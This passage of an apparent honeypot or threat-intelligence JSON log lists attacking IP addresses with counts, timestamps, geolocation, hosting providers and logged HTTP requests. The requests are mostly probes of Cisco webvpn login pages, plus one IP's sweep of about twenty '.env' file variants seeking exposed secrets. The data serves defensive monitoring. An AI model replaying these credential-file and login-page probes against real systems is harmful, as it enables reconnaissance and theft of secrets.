      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "147.185.132.207": {
      "attack_count": 2,
      "first_seen": "2026-04-22T05:19:49.453Z",
      "last_seen": "2026-04-22T05:19:52.456Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "173.249.42.24": {
      "attack_count": 2,
      "first_seen": "2026-04-21T17:14:53.804Z",
      "last_seen": "2026-04-21T17:14:56.807Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH"
    },
    "35.216.140.3": {
      "attack_count": 2,
      "first_seen": "2026-04-27T23:57:29.398Z",
      "last_seen": "2026-04-27T23:57:32.418Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 15169,
      "as_org": "Google LLC"
    },
    "45.156.129.75": {
      "attack_count": 2,
      "first_seen": "2026-04-09T03:13:04.506Z",
      "last_seen": "2026-04-09T03:13:04.997Z",
      "ports": [],
      "event_types": [
        "\"GET /sse HTTP/1.1\" 404 -",
        "\"POST /mcp HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A."
    },
    "85.11.183.21": {
      "attack_count": 2,
      "first_seen": "2026-04-29T02:15:47.447Z",
      "last_seen": "2026-04-29T05:05:35.809Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 201002,
      "as_org": "PebbleHost Ltd"
    },
    "124.198.132.237": {
      "attack_count": 1,
      "first_seen": "2026-04-24T09:15:35.175Z",
      "last_seen": "2026-04-24T09:15:35.175Z",
      "ports": [],
      "event_types": [
        "\"GET /controllers/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 210558,
      "as_org": "1337 Services GmbH"
    },
    "3.89.60.155": {
      "attack_count": 1,
      "first_seen": "2026-04-13T00:57:51.285Z",
      "last_seen": "2026-04-13T00:57:51.285Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "62.60.131.60": {
      "attack_count": 1,
      "first_seen": "2026-04-15T08:59:36.513Z",
      "last_seen": "2026-04-15T08:59:36.513Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Iran",
      "country_code": "IR",
      "city": "Tehran",
      "asn": 208137,
      "as_org": "Feo Prest SRL"
    },
    "64.62.156.158": {
      "attack_count": 1,
      "first_seen": "2026-04-04T10:15:11.636Z",
      "last_seen": "2026-04-04T10:15:11.636Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.206": {
      "attack_count": 1,
      "first_seen": "2026-04-29T02:56:24.991Z",
      "last_seen": "2026-04-29T02:56:24.991Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.197.191": {
      "attack_count": 1,
      "first_seen": "2026-04-22T03:14:48.481Z",
      "last_seen": "2026-04-22T03:14:48.481Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "74.82.47.32": {
      "attack_count": 1,
      "first_seen": "2026-04-30T00:37:32.744Z",
      "last_seen": "2026-04-30T00:37:32.744Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "85.239.146.14": {
      "attack_count": 1,
      "first_seen": "2026-04-25T06:01:04.710Z",
      "last_seen": "2026-04-25T06:01:04.710Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 209896,
      "as_org": "Contrust Solutions S.R.L."
    },
    "91.230.168.20": {
      "attack_count": 1,
      "first_seen": "2026-04-26T11:51:13.566Z",
      "last_seen": "2026-04-26T11:51:13.566Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.236": {
      "attack_count": 1,
      "first_seen": "2026-04-05T11:51:10.937Z",
      "last_seen": "2026-04-05T11:51:10.937Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.252": {
      "attack_count": 1,
      "first_seen": "2026-04-19T11:52:11.767Z",
      "last_seen": "2026-04-19T11:52:11.767Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.94": {
      "attack_count": 1,
      "first_seen": "2026-04-19T11:50:13.554Z",
      "last_seen": "2026-04-19T11:50:13.554Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.92.34.26": {
      "attack_count": 1,
      "first_seen": "2026-04-02T05:35:49.768Z",
      "last_seen": "2026-04-02T05:35:49.768Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 207043,
      "as_org": "Dedik Services Limited"
    },
    "178.16.55.82": {
      "attack_count": 2875,
      "first_seen": "2026-04-11T04:49:28.157Z",
      "last_seen": "2026-04-17T01:47:10.473Z",
      "ports": [],
      "event_types": [
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 202412,
      "as_org": "Omegatech LTD"
    },
    "37.19.221.179": {
      "attack_count": 39,
      "first_seen": "2026-04-10T03:32:50.011Z",
      "last_seen": "2026-04-28T06:03:39.525Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "172.121.80.75": {
      "attack_count": 37,
      "first_seen": "2026-04-13T02:01:36.427Z",
      "last_seen": "2026-04-13T17:37:35.489Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "166.1.243.92": {
      "attack_count": 33,
      "first_seen": "2026-04-12T02:09:40.331Z",
      "last_seen": "2026-04-15T01:41:33.032Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.146.26.71": {
      "attack_count": 29,
      "first_seen": "2026-04-13T01:28:33.243Z",
      "last_seen": "2026-04-15T03:09:33.539Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Providence",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "103.81.231.175": {
      "attack_count": 27,
      "first_seen": "2026-04-11T04:56:47.147Z",
      "last_seen": "2026-04-30T05:04:50.395Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "155.2.191.226": {
      "attack_count": 27,
      "first_seen": "2026-04-15T11:33:07.344Z",
      "last_seen": "2026-04-28T01:59:42.431Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "23.234.92.106": {
      "attack_count": 26,
      "first_seen": "2026-04-11T11:30:55.414Z",
      "last_seen": "2026-04-25T08:36:36.285Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "82.67.201.1": {
      "attack_count": 26,
      "first_seen": "2026-04-16T04:34:42.711Z",
      "last_seen": "2026-04-16T04:43:54.518Z",
      "ports": [],
      "event_types": [
        "\"GET /.env HTTP/1.1\" 404 -",
        "\"GET /.env.local HTTP/1.1\" 404 -",
        "\"GET /.env.production HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /.env.backup HTTP/1.1\" 404 -",
        "\"GET /.env.bak HTTP/1.1\" 404 -",
        "\"GET /.env.dev HTTP/1.1\" 404 -",
        "\"GET /.env.development HTTP/1.1\" 404 -",
        "\"GET /.env.development.local HTTP/1.1\" 404 -",
        "\"GET /.env.docker HTTP/1.1\" 404 -",
        "\"GET /.env.example HTTP/1.1\" 404 -",
        "\"GET /.env.live HTTP/1.1\" 404 -",
        "\"GET /.env.old HTTP/1.1\" 404 -",
        "\"GET /.env.prod HTTP/1.1\" 404 -",
        "\"GET /.env.production.local HTTP/1.1\" 404 -",
        "\"GET /.env.save HTTP/1.1\" 404 -",
        "\"GET /.env.staging HTTP/1.1\" 404 -",
        "\"GET /.env.test HTTP/1.1\" 404 -",
        "\"GET /.env.vault HTTP/1.1\" 404 -",
        "\"GET /api/.env HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 12322,
      "as_org": "Free SAS"
    },
    "128.1.132.220": {
      "attack_count": 24,
      "first_seen": "2026-04-02T02:19:50.762Z",
      "last_seen": "2026-04-07T21:45:05.157Z",
      "ports": [],
      "event_types": [
        "code 400",
        "\"\"id\":1",
        "\"\"params\": [\"miner1\"",
        "\"\"method\":\"login\""
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "142.111.112.5": {
      "attack_count": 24,
      "first_seen": "2026-04-13T05:58:22.047Z",
      "last_seen": "2026-04-14T02:08:51.434Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "23.234.77.187": {
      "attack_count": 24,
      "first_seen": "2026-04-11T03:33:11.701Z",
      "last_seen": "2026-04-29T21:37:51.788Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.83.174": {
      "attack_count": 24,
      "first_seen": "2026-04-11T10:19:39.460Z",
      "last_seen": "2026-04-27T10:35:36.525Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "138.199.43.71": {
      "attack_count": 23,
      "first_seen": "2026-04-11T07:49:34.401Z",
      "last_seen": "2026-04-27T18:41:15.324Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "37.19.210.31": {
      "attack_count": 23,
      "first_seen": "2026-04-10T16:27:48.022Z",
      "last_seen": "2026-04-29T18:39:40.643Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "146.70.166.154": {
      "attack_count": 22,
      "first_seen": "2026-04-11T09:13:47.716Z",
      "last_seen": "2026-04-23T05:44:47.100Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "103.81.231.157": {
      "attack_count": 21,
      "first_seen": "2026-04-15T08:45:38.008Z",
      "last_seen": "2026-04-24T23:41:29.639Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.105.104": {
      "attack_count": 21,
      "first_seen": "2026-04-08T23:10:00.812Z",
      "last_seen": "2026-04-25T02:23:15.620Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.71.156": {
      "attack_count": 21,
      "first_seen": "2026-04-08T11:58:41.340Z",
      "last_seen": "2026-04-25T02:07:41.221Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.76.99": {
      "attack_count": 21,
      "first_seen": "2026-04-15T11:08:41.490Z",
      "last_seen": "2026-04-27T15:57:55.021Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.82.105": {
      "attack_count": 21,
      "first_seen": "2026-04-08T21:24:30.827Z",
      "last_seen": "2026-04-25T02:45:26.311Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.106.104": {
      "attack_count": 18,
      "first_seen": "2026-04-18T12:44:28.584Z",
      "last_seen": "2026-04-28T04:43:42.495Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.109.48": {
      "attack_count": 18,
      "first_seen": "2026-04-15T09:21:34.544Z",
      "last_seen": "2026-04-27T12:43:28.747Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.113.61": {
      "attack_count": 18,
      "first_seen": "2026-04-11T05:59:21.473Z",
      "last_seen": "2026-04-27T20:21:22.401Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.88.106": {
      "attack_count": 18,
      "first_seen": "2026-04-18T08:03:11.792Z",
      "last_seen": "2026-04-24T10:33:34.484Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "155.212.94.21": {
      "attack_count": 16,
      "first_seen": "2026-04-13T07:39:21.457Z",
      "last_seen": "2026-04-13T12:33:12.949Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Edmonds",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "172.121.58.72": {
      "attack_count": 16,
      "first_seen": "2026-04-13T08:29:21.878Z",
      "last_seen": "2026-04-13T13:03:45.294Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "142.252.104.54": {
      "attack_count": 15,
      "first_seen": "2026-04-15T03:58:17.485Z",
      "last_seen": "2026-04-15T06:04:03.522Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "146.70.168.179": {
      "attack_count": 15,
      "first_seen": "2026-04-25T02:58:33.197Z",
      "last_seen": "2026-04-28T02:37:09.707Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.211.111": {
      "attack_count": 15,
      "first_seen": "2026-04-21T12:16:54.189Z",
      "last_seen": "2026-04-29T09:06:13.318Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.162.8.89": {
      "attack_count": 15,
      "first_seen": "2026-04-08T21:43:21.326Z",
      "last_seen": "2026-04-23T01:00:48.049Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 25737,
      "as_org": "Jone Broadband LLC"
    },
    "23.234.101.31": {
      "attack_count": 15,
      "first_seen": "2026-04-15T09:39:30.313Z",
      "last_seen": "2026-04-27T17:15:36.013Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.104.197": {
      "attack_count": 15,
      "first_seen": "2026-04-23T08:35:46.114Z",
      "last_seen": "2026-04-25T04:11:04.763Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.109.31": {
      "attack_count": 15,
      "first_seen": "2026-04-16T01:13:12.686Z",
      "last_seen": "2026-04-28T00:34:57.402Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.72.185": {
      "attack_count": 15,
      "first_seen": "2026-04-13T10:37:56.439Z",
      "last_seen": "2026-04-27T12:05:41.553Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.79.48": {
      "attack_count": 15,
      "first_seen": "2026-04-13T10:00:26.638Z",
      "last_seen": "2026-04-29T09:07:47.070Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.96.236": {
      "attack_count": 15,
      "first_seen": "2026-04-16T05:47:24.485Z",
      "last_seen": "2026-04-30T01:39:16.789Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
